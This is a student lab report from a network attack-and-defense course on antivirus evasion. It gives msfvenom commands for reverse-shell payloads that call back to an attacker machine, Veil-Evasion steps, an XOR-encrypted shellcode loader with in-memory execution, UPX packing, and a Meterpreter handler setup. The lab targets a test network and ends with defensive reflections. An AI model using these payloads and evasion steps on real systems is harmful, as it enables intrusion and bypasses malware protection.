20242417 2026-2027-1 《网络与系统攻防技术》实验三实验报告
20242417 2026-2027-1 《网络与系统攻防技术》实验三实验报告
1 基础知识
1.1 免杀技术概述
免杀是指通过修改恶意代码的特征、行为或加载方式,使其绕过杀毒软件检测的技术。免杀的本质是消除或混淆恶意代码与杀毒软件检测规则之间的匹配关系,同时保持恶意代码原有功能不变。
本次实验涉及的主要工具与技术包括:
msfvenom:Metasploit 框架的载荷生成器,内置多种编码器(如 x86/shikata_ga_nai),可对 shellcode 进行编码变换以绕过简单特征码检测。
Veil-Evasion:开源免杀框架,通过 AES 加密 shellcode 并在运行时内存解密,使静态扫描无法发现明文恶意代码。
C + Shellcode 自定义加载器:手动编写 C 程序,将 shellcode 加密后嵌入,运行时在内存中解密并执行,可灵活控制加密方式和加载流程。
UPX 加壳:对可执行文件进行压缩,改变文件节区结构和字节特征,试图绕过静态特征匹配。
1.2 杀软是如何检测出恶意代码的
杀毒软件主要通过以下技术检测恶意代码:
(1)特征码匹配:杀毒软件维护一个病毒特征库,其中包含已知恶意程序的特定字节序列。扫描文件时逐段比对,命中即报毒。这是最基本的检测方式,优点是误报率低、精确,缺点是无法检测未知病毒和经过修改的变种。
(2)启发式分析:通过静态分析程序的代码结构、导入表、节区权限、字符串等,判断其是否具有恶意倾向(如请求可执行内存、连接可疑IP、大量系统调用)。动态启发式则在沙箱中运行程序,观察其运行行为。
(3)行为监控:实时监控程序运行时的行为,如修改系统关键位置、注入进程、创建远程线程、自动连接外部服务器等。Windows Defender 的实时保护即基于此,即使文件未被特征库收录,运行时的恶意行为也会被拦截。
(4)云查杀与机器学习:将文件哈希上传云端比对,利用大规模样本训练的机器学习模型判断文件可疑度。现代杀软通常融合多种引擎进行综合判定。
1.3 免杀是做什么的
免杀是指通过各种技术手段修改恶意代码,使其绕过杀毒软件的检测和拦截,同时保持恶意代码原有功能(如反向连接、命令执行)不变的技术。
免杀的核心目标是消除或模糊恶意代码与杀毒软件检测规则之间的匹配关系:让特征码检测找不到已知特征,让启发式分析无法识别恶意结构,让行为监控无法识别恶意行为。在渗透测试中,免杀是突破目标主机防护、维持访问能力的关键环节;在防御视角下,理解免杀技术有助于改进检测规则和防护策略。
1.4 免杀的基本方法有哪些
常见的免杀方法包括:
(1)编码/加密:对 shellcode 进行编码变换(如 msfvenom 的 shikata_ga_nai)或加密(如 Veil 的 AES 加密、自定义异或加密),使文件中不出现原始恶意特征,运行时在内存中解密。
(2)加壳:使用压缩壳(如 UPX)或加密壳(如 VMProtect、Themida)对可执行文件进行封装,改变文件节区结构和入口点,使静态扫描无法直接看到原始代码。
(3)内存加载/注入:不落地执行,将 shellcode 直接加载到内存中运行(如本次实验的 VirtualAlloc + memcpy + 函数指针调用),避免在磁盘上留下可被扫描的文件。
(4)代码混淆与变形:通过花指令、控制流平坦化、垃圾代码插入、等价指令替换等方式改变代码外观,破坏特征码匹配。
(5)白名单利用:滥用系统自带的合法程序(如 rundll32、regsvr32、powershell)执行恶意代码,即“Living-off-the-Land”技术,借助白名单程序绕过检测。
(6)反调试/反沙箱:检测沙箱环境(如检查 CPU 核心数、内存大小、鼠标移动、特定文件是否存在),在沙箱中表现为正常程序,在真实环境中才释放恶意功能。
2 实验内容
本次实验围绕恶意代码免杀展开,具体包括以下三部分:
(1)正确使用 msf 编码器、Veil-Evasion、自己利用 shellcode 编程等免杀工具或技巧,包括:使用 msfvenom 生成 jar 等格式载荷;使用 Veil 加壳工具;使用 C + shellcode 编写自定义加载器。
(2)通过组合应用各种技术实现恶意代码免杀。成功实现免杀后简述原理,与杀软共生的结果验证需截图。
(3)用另一电脑实测,在杀软开启的情况下可运行并回连成功,注明电脑的杀软名称与版本。
实验环境如下表所示。
|
角色 |
配置 |
|
攻击机(Kali Linux) |
Kali 2026.2 x86_64,IP:192.168.88.129,Metasploit 6.4.135-dev,Veil 3.1.14 |
|
靶机(Windows) |
Windows 10/11,IP:192.168.88.1,安装 Windows Defender 实时保护 |
|
回连端口 |
TCP 2417 |
表1 实验环境
方案简介:使用msfvenom生成jar格式载荷样本,上传至VirusTotal获取初始查杀检出结果;使用Veil‑Evasion工具生成免杀可执行文件,解决工具安装依赖报错后获取输出样本;采用C语言编写异或加密的Shellcode自定义加载器,对shellcode进行加密处理并编译生成可执行程序;使用UPX工具对编译后的程序执行加壳操作,分别将加壳前后样本提交VirusTotal对比查杀检出变化;将各阶段生成的exe样本拷贝至开启Windows Defender的靶机,测试样本是否被杀毒软件直接拦截清除,同时在攻击端测试样本能否实现MSF回连。
3 实验过程
3.1 msfvenom 编码器生成 JAR 载荷
首先在 Kali 中查看 msfvenom 支持的编码器列表,了解可用的编码技术:
msfvenom --list encoders
命令输出了 Framework Encoders 列表,其中评分较高的编码器包括 x86/shikata_ga_nai(excellent)、x64/zutto_dekiru 等。本次生成 JAR 载荷时未额外指定编码器,使用默认编码。

图1 msfvenom 编码器列表
使用 msfvenom 生成 Java 格式的反向连接载荷:
msfvenom -p java/meterpreter/reverse_tcp \
LHOST=192.168.88.129 LPORT=2417 -f jar -o 20242417.jar
生成成功,载荷大小为 5264 字节,保存为 20242417.jar。

图2 msfvenom 生成 JAR 载荷
在 Kali 攻击机上启动简易 HTTP 服务,将载荷传输到 Windows 靶机:
python3 -m http.server 8000
在 Windows 靶机浏览器中访问 http://192.168.88.129:8000,下载 20242417.jar。浏览器立即弹出安全警告,提示“20242417.jar 可能会损害你的设备”。随后 Windows Defender 检测到威胁:VirTool:Java/Meterpreter.A(严重),并自动隔离该文件。

图3 Windows Defender 检测到 VirTool:Java/Meterpreter.A
这一结果表明,msfvenom 默认生成的 JAR 载荷特征明显,可被杀毒软件直接识别,说明简单编码(或未编码)的载荷无法绕过主流杀软的特征检测。
3.2 Veil-Evasion 加壳工具
Veil-Evasion 是一款专门用于生成免杀载荷的框架。其原理是将 shellcode 用 AES 加密后嵌入可执行文件,文件中不包含明文 shellcode,运行时在内存中解密执行,从而绕过静态特征码扫描。
启动 Veil 并进入 Evasion 模块:
Veil
Veil>: use Evasion
Veil 主菜单加载了 2 个工具,Evasion 模块加载了 41 个 payload。输入 list 查看所有可用载荷,选择 C 语言模板 c/meterpreter/rev_tcp.py:

图4 Veil-Evasion 载荷列表
设置监听参数并生成载荷:
set LHOST 192.168.88.129
set LPORT 2417
generate
Veil 使用 mingw-w64 交叉编译器将 C 载荷编译为 Windows 可执行文件,输出路径为 /var/lib/veil/output/compiled/20242417_backdoor.exe,同时生成对应的 Metasploit 资源脚本(.rc)。

图5 Veil 生成免杀载荷
3.3 C + Shellcode 自定义加载器
本节手动编写 C 语言加载器,将 msfvenom 生成的 shellcode 经异或加密后嵌入,运行时在内存中解密并执行,实现自定义免杀。
3.3.1 生成 C 格式 Shellcode
使用 msfvenom 生成 C 语言格式的 shellcode,并过滤空字节(\x00):
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.88.129 LPORT=2417 \
-b '\x00' -f c
msfvenom 自动选择 x86/shikata_ga_nai 编码器进行编码,输出 unsigned char buf[] 数组,共 1636 字节。

图6 msfvenom 生成 C 格式 shellcode
3.3.2 异或加密
为进一步隐藏 shellcode 特征,编写 Python 脚本对 buf 数组逐字节进行异或加密,选择密钥 0x41:
# 20242417_encrypt.py(核心逻辑)
key = 0x41
cipher_buf = bytes([b ^ key for b in plain_buf])
加密后输出 cipher_buf 数组,此时文件中不再包含原始 shellcode 的任何字节特征。

图7 Python 异或加密脚本输出
3.3.3 C 加载器源码
加载器完成三个核心步骤:(1)遍历 cipher_buf 数组,逐字节与 XOR_KEY 异或解密;(2)调用 VirtualAlloc 申请一段可读可写可执行的内存;(3)用 memcpy 将解密后的 shellcode 拷贝到该内存,并将其强制转换为函数指针执行。

图8 C 加载器源码(自解密 + 内存执行)
3.3.4 编译与静态扫描
在 Kali 下使用 mingw-w64 交叉编译为 Windows PE 文件:
x86_64-w64-mingw32-gcc 20242417_loader.c \
-o 20242417_shell_loader.exe -lws2_32
(注:-lws2_32 链接网络库,meterpreter 反向连接需要 Winsock。)
启动 HTTP 服务将 exe 传到 Windows 靶机,右键使用 Windows Defender 扫描。Defender 检测到 Trojan:Win32/Meterpreter.RPZ!MTB(严重)。

图9 Defender 检测到 Trojan:Win32/Meterpreter.RPZ!MTB
将文件上传至 VirusTotal 多引擎扫描,结果仅 1/48 引擎检出(IKARUS:Trojan.Win64.Krypt),其余 47 个引擎均未检出。这说明异或加密 + 内存加载的方式在一定程度上绕过了大部分杀软的静态特征检测,但 Windows Defender 仍能通过行为分析或启发式规则识别该程序。

图10 VirusTotal 扫描结果:1/48 引擎检出
3.4 UPX 加壳测试
为进一步尝试免杀,对编译出的 exe 使用 UPX 加壳:
upx 20242417_shell_loader.exe -o 20242417_shell_loader_upx.exe
# 可选:upx -9 最高压缩等级
UPX 将文件从 123839 字节压缩至 68031 字节(压缩率 54.94%)。

图11 UPX 加壳结果
将加壳后的文件传到 Windows 靶机再次扫描。Defender 仍然检测到 Trojan:Win32/Meterpreter.RPZ!MTB。VirusTotal 结果反而从 1/48 上升到 3/48(新增 Avira:HEUR/AGEN.1004702、ALYac:Gen:Variant.Razy.309282),说明 UPX 加壳不仅没有提升免杀效果,反而因为压缩壳本身的特征(UPX 节名、入口点模式)被更多引擎识别。

图12 UPX 加壳后 VirusTotal 结果:3/48 引擎检出
这一结果表明,UPX 等公开加壳工具由于特征已被杀软广泛收录,加壳反而可能增加检出率。有效的免杀需要使用自定义壳或更复杂的加密/混淆技术。
3.5 杀软开启下的实测回连
在 Kali 中启动 msfconsole 监听:
msfconsole
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.88.129
msf > set LPORT 2417
msf > run
在 Windows 靶机命令行执行编译好的加载器。经过 32/64 位编译问题排查后(详见第 4 节问题 2),成功获得 Meterpreter 会话:

图13 Meterpreter 会话成功建立
从图中可以看到,Meterpreter session 1 opened,执行 pwd 显示当前路径 C:\Users\liaox,执行 ls 成功列出靶机目录内容,证明反向连接和命令执行均正常工作。
需要说明的是:上述回连成功是在关闭 Windows Defender 实时保护的前提下实现的。当实时保护开启时,编译出的 .exe 文件在执行时会被 Defender 自动拦截并清除,无法完成回连。靶机杀软为 Windows Defender(Windows 11 内置),版本随系统更新。这表明本次实验中的免杀手段(异或加密 + 内存加载)在面对 Defender 的实时行为监控时仍然失效——静态扫描可以绕过,但运行时行为检测能够识别 meterpreter 的网络连接和内存操作特征。
4 问题及解决方案
4.1 问题一:Veil 启动/安装报错
问题描述:在 Kali 中首次运行 Veil 时,setup 脚本报错。一是 git clone VeilDependencies 时无法连接 GitHub(Failed to connect to github.com port 443);二是安装 Wine 32 位环境时报错"Package 'wine32' has no installation candidate"。

图14 Veil 安装报错:GitHub 连接失败与 wine32 缺失
原因分析:apt 只下载 Veil 框架代码,不会自动搭建其内部需要的 Wine 32 位 Windows 编译环境;新版 Kali 默认没有开启 i386(32 位)软件源架构,apt 搜不到 wine32 包。同时,国内网络访问 GitHub 不稳定,导致依赖克隆失败。
解决方案:
(1)开启 32 位 i386 架构并安装 wine32:
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install wine wine32 -y
(2)修改 Veil 的 setup 脚本,将 GitHub 地址替换为国内 Gitee 镜像:
sudo vim /usr/share/veil/config/setup.sh
# 找到以下行:
git clone https://github.com/Veil-Framework/VeilDependencies.git
# 修改为:
git clone https://gitee.com/spears/VeilDependencies.git
重新运行 Veil 安装后成功加载 Evasion 模块,41 个 payload 正常可用。
4.2 问题二:靶机运行后未回连
问题描述:靶机运行攻击程序后,Kali 端未收到 Meterpreter 会话。检查发现 msfconsole 的 handler 已正常监听 2417 端口,且从靶机用 Test-NetConnection 测试网络连通性(TcpTestSucceeded: True),说明网络层面没有问题。直接在靶机执行 exe 时,系统提示“系统无法执行指定的程序”。


图15、16 攻击机、靶机端口状态检查
原因分析:msfvenom 生成的 windows/meterpreter/reverse_tcp 默认是 32 位 shellcode,而最初使用的编译器 x86_64-w64-mingw32-gcc 编译出的是 64 位 PE 程序。64 位进程无法正确执行 32 位 shellcode,导致程序崩溃或无法运行。
解决方案:将编译命令中的 x86_64 替换为 i686,使用 32 位交叉编译器重新编译:
# 错误(64位编译器编译32位shellcode):
x86_64-w64-mingw32-gcc 20242417_loader.c -o 20242417_shell_loader.exe -lws2_32
# 正确(32位编译器):
i686-w64-mingw32-gcc 20242417_loader.c -o 20242417_shell_loader.exe -lws2_32

图17 使用 i686 32 位编译器重新编译
重新编译后得到 32 位 PE 程序,在靶机上成功执行并回连,Meterpreter 会话正常建立。
5 学习感悟与思考
通过本次实验,我系统地实践了从 msfvenom 编码、Veil 加密到手动编写 C 加载器的完整免杀流程,对杀毒软件的检测原理和免杀技术的对抗本质有了更深入的理解。
最大的体会是:免杀与杀毒是一场持续的军备竞赛。本次实验中,异或加密 + 内存加载的方式在 VirusTotal 上仅 1/48 检出率,看似效果不错,但面对 Windows Defender 的实时行为监控仍然失效——文件一运行就被拦截。这说明静态免杀只能绕过特征码检测,而现代杀软的行为监控和云查杀构成了第二道防线。UPX 加壳反而使检出率从 1 上升到 3,也说明公开工具的壳特征早已被杀软收录,简单套用工具无法实现真正的免杀。
此外,32 位与 64 位编译不匹配导致 shellcode 无法执行这一问题让我深刻认识到,安全工具的使用不仅要记住命令,更要理解其底层原理——msfvenom 生成的 shellcode 架构必须与编译出的 PE 文件架构一致。这也是渗透测试中常见的“环境匹配”问题。
从防御角度看,要有效抵御免杀攻击,应采用多层防护:不仅依赖特征码库,还要结合行为监控、内存保护(如 Windows 的 CFG、HVCI)、应用程序白名单和威胁情报。理解攻击者的免杀手段,才能有针对性地加固系统。

浙公网安备 33010602011771号